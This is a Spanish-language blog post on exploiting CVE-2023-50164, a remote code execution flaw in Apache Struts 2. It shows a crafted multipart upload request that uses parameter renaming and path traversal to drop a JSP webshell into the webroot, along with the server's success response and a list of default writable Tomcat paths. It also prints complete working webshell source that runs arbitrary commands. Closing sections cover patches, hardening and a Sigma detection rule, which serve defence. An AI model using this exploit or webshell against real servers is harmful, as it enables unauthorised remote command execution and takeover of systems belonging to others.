Explotando CVE-2023-50164 (RCE en Apache Struts 2)

En diciembre de 2023, se publicó un CVE y un parche críticos para Apache Struts 2. Bautizada como CVE-2023-50164 y con una puntuación de 9,8, esta vulnerabilidad puede permitir a un atacante conseguir ejecución remota en servidores vulnerables enviando una solicitud de subida (upload) de archivos especialmente diseñada.
 
Normalmente, con ActionSupport la aplicación de Struts procesará un upload y creará un archivo temporal con uploadFilename configurado con un nombre temporal que no está controlado por el usuario:
POST /upload.action HTTP/1.1

Host:
192.168.2.30
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------301703858527920802152171495913
Content-Length: 243
Origin: http://10.102.111.30
Connection: close
Referer: http://10.102.111.30/upload.action
Cookie: JSESSIONID=75ED078AC70BCDC063E949B2D2416457
Upgrade-Insecure-Requests: 1
 
-----------------------------301703858527920802152171495913
Content-Disposition: form-data; name="upload"; filename="fichero.txt"
Content-Type: text/plain
 
fichero de prueba
 
-----------------------------301703858527920802152171495913--

Pero lo sorprendente (y escalofriante por su facilidad de explotación) es que tras la investigación del chino (youkill) descubrimos que se puede renombrar upload a Upload y añadir otro campo uploadFilename para configurar otro nombre de fichero. 

Si esto lo combinamos con un bonito path traversal tendremos la posibilidad de subir nuestra webshell y por ende el RCE:

POST /upload.action HTTP/1.1 
Host: 192.168.2.30
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxn8ix5qYTeAvWUCf
Content-Length: 339
 
------WebKitFormBoundaryxn8ix5qYTeAvWUCf
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain
 
<jsp> . . . </jsp>
 
------WebKitFormBoundaryxn8ix5qYTeAvWUCf
Content-Disposition: form-data; name="uploadFileName";
 
../../../../var/www/html/webshell.jsp
------WebKitFormBoundaryxn8ix5qYTeAvWUCf--

Si el servidor es vulnerable obtendremos la subida con éxito:

HTTP/1.1 200  
Vary: Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,Sec-Fetch-User
Cross-Origin-Embedder-Policy-Report-Only: require-corp
Cross-Origin-Opener-Policy: same-origin
Set-Cookie: JSESSIONID=1E2469CF8B3AF7C4CC070E14DF5FC93C; Path=/; HttpOnly
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 632
Date: Sat, 30 Dec 2023 18:08:00 GMT

<html>
<head>
  <title>File Upload - Success</title>
  <link rel="stylesheet" type="text/css" href="bootstrap.min.css">
</head>
<body>
<div class="container py-5">
    <h2 class="text-center mb-4">File Upload - Success</h2>

    
        <div class="alert alert-success">
            
                File uploaded successfully to /tmp/uploads//../../../../usr/local/tomcat/webapps/ROOT/webshell.jsp<br/>
            
        </div>
  
<div class="d-grid gap-2 col-6 mx-auto">
    <a href="" class="btn btn-primary">Go back to Upload Page</a>
</div>
</div>
<script src="/bootstrap.bundle.min.js"></script>
</body>
</html>

Podemos comprobarlo visitando el jsp que hemos subido al webroot:

http://192.168.2.30/webshell4.jsp?cmd=whoami

Fácil ¿verdad? Quizás la única dificultad sea encontrar un path escribible, algo sin embargo bastante factible porque en la mayoría de las instalaciones lo encontraremos por defecto en:

  • Windows (instalado como servicio): C:\Program Files\Apache Software Foundation\Tomcat x.x\webapps
  • Windows (instalación manual):C:\apache-tomcat-x.x.x\webapps
  • Linux/Unix/Mac (instalado via un package manager como APT, YUM o Brew):/var/lib/tomcatx/webapps
  • Linux/Unix/Mac (instalación manual): /opt/tomcat/webapps o /usr/local/tomcat/webapps

Luego ya con permisos de escritura los vectores son los de siempre. Por ejemplo, añadir claves SSH al usuario o subir archivos .war o .jsp. Por ejemplo, una webshell en jsp típica:

<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
PoC Webshell en JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p;
if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
}
else{
p = Runtime.getRuntime().exec(request.getParameter("cmd"));
}
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>

Contramedidas

  • Parches: la vulnerabilidad se ha solucionado en las versiones 2.5.33 o 6.3.0.2 o superiores.  
  • Eliminar el uso de clases vulnerables: para sistemas donde no es necesario utilizar ActionSupport, reemplaza cualquier instancia de esta clase por otra que no sea vulnerable.  
  • Medidas de refuerzo: elimina el acceso innecesario al servidor de aplicaciones (como el acceso de escritura a directorios confidenciales), ya que esto significa que un atacante no podría aprovechar acciones como colocar una webshell a donde pueda acceder a la misma.
  • Firewalls de aplicaciones web (WAF): comúnmente tienen reglas predeterminadas para detectar intentos de explotación de path traversal.
Detección
Como la subida del archivo es una solicitud POST modificada, es poco probable que los logs web estándar ayuden a detectar signos de explotación. Si tu aplicación web registra datos POST, existen algunos indicadores fijos que puede utilizar para generar reglas de detección. A continuación se muestra un ejemplo de regla Sigma:
title: CVE-2023-50164 Potential Webshell Exploitation Attempt - ApacheStruts2
id: 5a7aa665-f924-4e78-a937-92117e6f1605
status: experimental
description: Detects potential exploitation attempt of CVE-2023-50164 against ApacheStruts2
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-50164
- https://attackerkb.com/topics/G9urDj4Cg2/CVE-2023-50164
- https://xz.aliyun.com/t/13172
author: Brett Calderbank
date: 2023/12/15
tags:
- detection.emerging_threats
- attack.initial_access
- cve.2023.50164
logsource:
category: webserver
detection:
selection-web:
cs-method: 'POST'
cs-uri|contains: 'upload.action'
cs-content|contains:
- '<jsp>'
- '--WebKitFormBoundary'
sc-status: 200
filter:
cs-content|contains: 'name="Upload"; filename="*.jsp"'
condition: selection AND NOT filter
falsepositives:
- Vulnerability scanners
- Genuine use of the upload function
level: medium
Referencias

Comentarios